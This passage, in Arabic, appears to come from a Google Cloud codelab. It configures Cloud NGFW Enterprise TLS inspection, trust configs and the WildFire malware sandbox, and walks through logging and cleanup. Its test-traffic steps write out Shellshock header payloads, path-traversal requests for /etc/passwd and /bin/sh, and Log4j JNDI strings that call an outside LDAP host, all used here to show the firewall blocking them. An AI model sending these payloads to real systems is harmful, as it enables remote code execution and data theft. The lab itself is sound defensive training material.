curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

اضبط المتغيّر على عنوان IP الخاص بالخادم من قبل:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

أرسِل نماذج طلبات بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

الناتج المتوقَّع:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

لماذا تعذّر تنفيذ هذا الطلب؟ ويرجع ذلك إلى أنّ جدار الحماية يتلقّى شهادة من الخادم غير موثوق بها. وفي هذه الحالة، سيتم إرسال شهادة موقَّعة ذاتيًا إلى العميل. نحتاج إلى إضافة شهادة مرجع التصديق كجزء من إعدادات الثقة لتفعيل الثقة.

ارجع إلى Cloud Shell.

11. ضبط إعدادات الثقة

احصل على شهادة CA الجذر واضبطها كمتغيّر بالتنسيق المناسب.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

اضبط ملف YAML الخاص بإعدادات الثقة. يحتوي هذا الملف على تفاصيل الثقة، مثل شهادات مرجع التصديق:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

تضمّنت الأوامر أعلاه شهادة CA الجذر كجزء من مخزن شهادات الجذر الموثوق بها لأنّه تم توقيع شهادة الخادم باستخدام هيئة إصدار الشهادات الجذر. هذا يعني أنّ جدار الحماية سيثق في أي شهادات يتلقّاها تم توقيعها من قِبل مرجع التصديق الجذر، بالإضافة إلى مراجع التصديق العلنية إذا تم ضبط excludePublicCaSet على "خطأ" في سياسة بروتوكول أمان طبقة النقل (TLS).

تحقَّق من محتوى إعدادات الثقة.

cat trust_config.yaml 

مثال على الناتج:

انتبه جيدًا لمحاذاة المسافة البادئة للشهادة. ويجب أن يتّبع هذا التنسيق بدقة.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

استورِد إعدادات الثقة:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

عدِّل ملف YAML الخاص بسياسة TLS لتضمين إعدادات الثقة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

استورِد سياسة TLS المعدَّلة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. التحقّق من فحص بروتوكول أمان طبقة النقل (TLS) بين الشرق والغرب

اتصِل بالعميل مرة أخرى عبر بروتوكول SSH لاختبار حركة البيانات بين الشرق والغرب باستخدام إعدادات الثقة المعدَّلة:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

شغِّل نموذج طلب بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

إذا استمر ظهور النتيجة أدناه، يُرجى الانتظار إلى أن يتم نشر التعديلات.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

الناتج المتوقَّع:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

أرسِل زيارات اختبارية ضارة إلى الخادم:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

الناتج المتوقَّع:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية على حركة البيانات بين الشرق والغرب.

13. التسجيل

انتقِل إلى "التسجيل" (Logging) > "مستكشف السجلّات" (Logs Explorer) من خلال Cloud Console، وأدخِل الفلتر أدناه وابحث في السجلّات. استبدِل [PROJECT_ID] برقم تعريف مشروعك:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

من المفترض أن تظهر إدخالات سجلّ Cloud NGFW Enterprise على النحو التالي:

5b68cc1063c0f4bd.png

وسِّع إدخالات السجلّ ولاحظ أنّه تم تحديد الهجمات المُرسَلة من الجهاز الافتراضي للعميل إلى الخادم وحظرها (ثغرة أمنية في تنفيذ الرموز البرمجية عن بُعد في Apache Log4j كما هو موضّح في لقطة الشاشة أدناه).

478f18f8481e90ed.png

لقد نشرت بنجاح Cloud NGFW Enterprise مع ميزة "فحص بروتوكول أمان طبقة النقل (TLS)" لحظر الطلبات الضارة.

انتقِل إلى القسم التالي لضبط وضع الحماية المتقدّم من البرامج الضارة (WildFire) والتحقّق منه اختياريًا، أو انتقِل إلى خطوات التنظيف.

14. [اختياري] ضبط Advanced Malware Sandbox (WildFire)

تعمل ميزة "وضع الحماية المتقدّم من البرامج الضارة" (WildFire) على توسيع نطاق ميزة "منع التهديدات" في Cloud NGFW Enterprise من خلال فحص الملفات أثناء نقلها وإرسال الملفات غير المعروفة إلى وضع حماية مستنِد إلى السحابة الإلكترونية (مستنِد إلى Palo Alto Networks Advanced WildFire) لإجراء تحليل سلوكي عميق.

قبول اتفاقية ترخيص المستخدم النهائي (EULA) لـ Advanced Malware Sandbox

قبل تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية، عليك مراجعة "اتفاقية ترخيص المستخدم النهائي" (EULA) وقبولها لمرة واحدة في مشروع الفوترة ($billing_project). لا يمكن قبول اتفاقية ترخيص المستخدم النهائي إلا في Google Cloud Console: انتقِل إلى أمان الشبكة > نقاط نهاية جدار الحماية، وعدِّل نقطة النهاية $prefix-$zone، واختَر تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" (WildFire) ضِمن الإعدادات المتقدّمة، ثم انقر على موافقة ومتابعة.

تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية

تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" في نقطة نهاية جدار الحماية الحالية في "$prefix-$zone" باستخدام "gcloud network-security firewall-endpoints update":

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

تأكَّد من تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

الناتج المتوقّع (التحقّق من wildfireSettings: enabled: true وstate: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

إنشاء ملف الأمان الشخصي في WILDFIRE_ANALYSIS وضبطه

أنشئ ملف أمان "وضع الحماية المتقدّم من البرامج الضارة" (WILDFIRE_ANALYSIS) باسم $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

الناتج المتوقَّع:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

بعد ذلك، أضِف قاعدة إرسال غير متزامنة لإرسال ملفات APK في اتجاهَي التحميل والتنزيل (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

الناتج المتوقَّع:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

افحص ملف أمان WILDFIRE_ANALYSIS الذي تم ضبطه:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

الناتج المتوقَّع:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

تعديل مجموعة الملفات الشخصية للأمان ($prefix-spg)

يجب تحديث "$prefix-spg" لإرفاق "$prefix-sp-wildfire":

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

الناتج المتوقَّع:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

بما أنّ قاعدة سياسة جدار الحماية 900 (EGRESS عبر tcp:443 مع --action=apply_security_profile_group و--tls-inspect) تشير إلى $prefix-spg، فإنّ عمليات تنزيل ملفات HTTPS المشفّرة التي يتم بدؤها من $prefix-$zone-client يتم فك تشفيرها تلقائيًا من خلال فحص بروتوكول أمان طبقة النقل (TLS) وتقييمها من خلال "وضع الحماية المتقدّم من البرامج الضارة" بدون الحاجة إلى إجراء أي تغييرات على قواعد سياسة جدار الحماية.

15. [اختياري] التحقّق من صحة إرسال الملفات إلى "وضع الحماية المتقدّم من البرامج الضارة" والتحليل الجنائي

اختبار الإرسال غير المتزامن إلى وضع الحماية وفلترة أنواع الملفات

اتصِل بالجهاز الافتراضي للعميل ($prefix-$zone-client) من خلال Identity-Aware Proxy ‏ (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

من الجهاز الافتراضي للعميل، نزِّل ملف الاختبار العام APK لـ Palo Alto Networks عبر بروتوكول HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

بعد ذلك، نزِّل ملف الاختبار العام ELF لـ Palo Alto Networks عبر بروتوكول HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

بما أنّ قاعدة الإرسال في $prefix-sp-wildfire تستهدف ملفات APK (--file-types=APK) فقط، لن يرسل جدار الحماية ملف ELF إلى "مبادرة حماية البرامج الضارة المتقدّمة".

اخرج من وحدة طرفية الجهاز الافتراضي للعميل وارجع إلى Cloud Shell.

التحقّق من WildfireSubmissionLog في Cloud Logging

انتقِل إلى "التسجيل" (Logging) > "مستكشف السجلّات" (Logs Explorer) من خلال Cloud Console، وأدخِل الفلتر أدناه وابحث في السجلّات. استبدِل [PROJECT_ID] برقم تعريف مشروعك:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

بعد اكتمال تحليل وضع الحماية (عادةً في غضون بضع دقائق)، يظهر إدخال WildfireSubmissionLog لعملية تنزيل ملف APK، في حين لا يتم إنشاء سجلّ إرسال لعملية تنزيل ملف ELF (إذا لم يظهر أي إدخال في السجلّ بعد عدة دقائق، يُرجى الانتظار حتى تكتمل نافذة نشر "مجموعة الملفات الشخصية للأمان" التي تبلغ مدتها 15 دقيقة وإعادة تشغيل عملية تنزيل curl). وسِّع الإدخال في السجلّ ولاحظ أنّ حمولة JSON الخاصة به تشبه ما يلي:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

يُرجى ملاحظة الحقول الرئيسية في wildfireDetails:

  • يؤكّد كل من "fileType: "APK"" و"subtype: "WILDFIRE"" تحليل وضع الحماية غير المتزامن لعملية نقل "APK".
  • ‫file هو اسم الملف الذي يوفّره الخادم (wildfire-test-apk-file.apk)، وقد يختلف عن اسم الملف المحلي المستخدَم مع curl -o.
  • يحدّد hash ملخّص SHA-256 الفريد لعينة الاختبار.
  • يتم تحديد verdict وseverity من خلال تحليل وضع الحماية.
  • يوفّر reportUri وsampleUri روابط مباشرة لاسترداد تقرير التحليل الديناميكي والعينة المُرسَلة.

عرض الملفات المُرسَلة وتنزيل ملفات الأدلة الجنائية

انتقِل إلى "أمان الشبكة" (Network Security) > "سجلّات NGFW Enterprise"‏ (NGFW Enterprise logs) > "عمليات إرسال البرامج الضارة المتقدّمة إلى وضع الحماية" (Advanced malware sandbox submissions) من خلال Cloud Console واختَر مشروعك. انقر على الإدخال wildfire-test-apk-file.apk لعرض تفاصيل الإرسال، بما في ذلك تجزئة SHA-256 للملف والقرار ونقطة نهاية جدار الحماية. من مزيد من الإجراءات لعملية الإرسال، يمكنك اختيار تنزيل تقرير التحليل لتنزيل تقرير التحليل الديناميكي بتنسيق PDF، أو تنزيل عيّنة من البرامج الضارة لتنزيل الملف الذي تم إرساله.

بدلاً من ذلك، يمكنك تنزيل تقرير التحليل والعينة من Cloud Shell باستخدام القيمتَين reportUri وsampleUri من الإدخال WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. خطوات إعادة الضبط

تنظيف الإعداد الأساسي

أزِل النُسخ:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

اتّبِع الخطوات التالية في حال تغيير دورَي tagAdmin وtagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

أزِل مفتاح العلامة وقيمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

أزِل سياسة Cloud Firewall Network Policy والربط:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

احذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

احذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

تنظيف Cloud Firewall SPG وAssociation وTLS

احذف مجموعة ملفات الأمان الشخصية وملفات الأمان الشخصية بهذا الترتيب (إذا أكملت قسم "وضع الحماية المتقدّم من البرامج الضارة" الاختياري، نفِّذ أيضًا الأمر لحذف $prefix-sp-wildfire بعد حذف $prefix-spg):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

احذف ارتباط نقطة نهاية Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

احذف نقطة نهاية Cloud Firewall، وقد يستغرق ذلك حوالي 20 دقيقة:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

اختياريًا، تأكَّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر التالي:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

يجب أن تظهر حالة نقطة النهاية على النحو التالي:

STATE: DELETING

عند اكتمال العملية، لن تظهر نقطة النهاية في القائمة.

احذف سياسة TLS وإعدادات الثقة بهذا الترتيب:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

أوقِف واحذف مرجع التصديق الجذري ومجموعة مراجع التصديق:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

تنظيف الشبكة الفرعية وشبكة VPC

أخيرًا، احذف الشبكة الفرعية وشبكة VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز: Cloud NGFW Enterprise لفحص بروتوكول أمان طبقة النقل (TLS) بين الأجهزة في الشبكة نفسها وبين الأجهزة في الشبكة والإنترنت.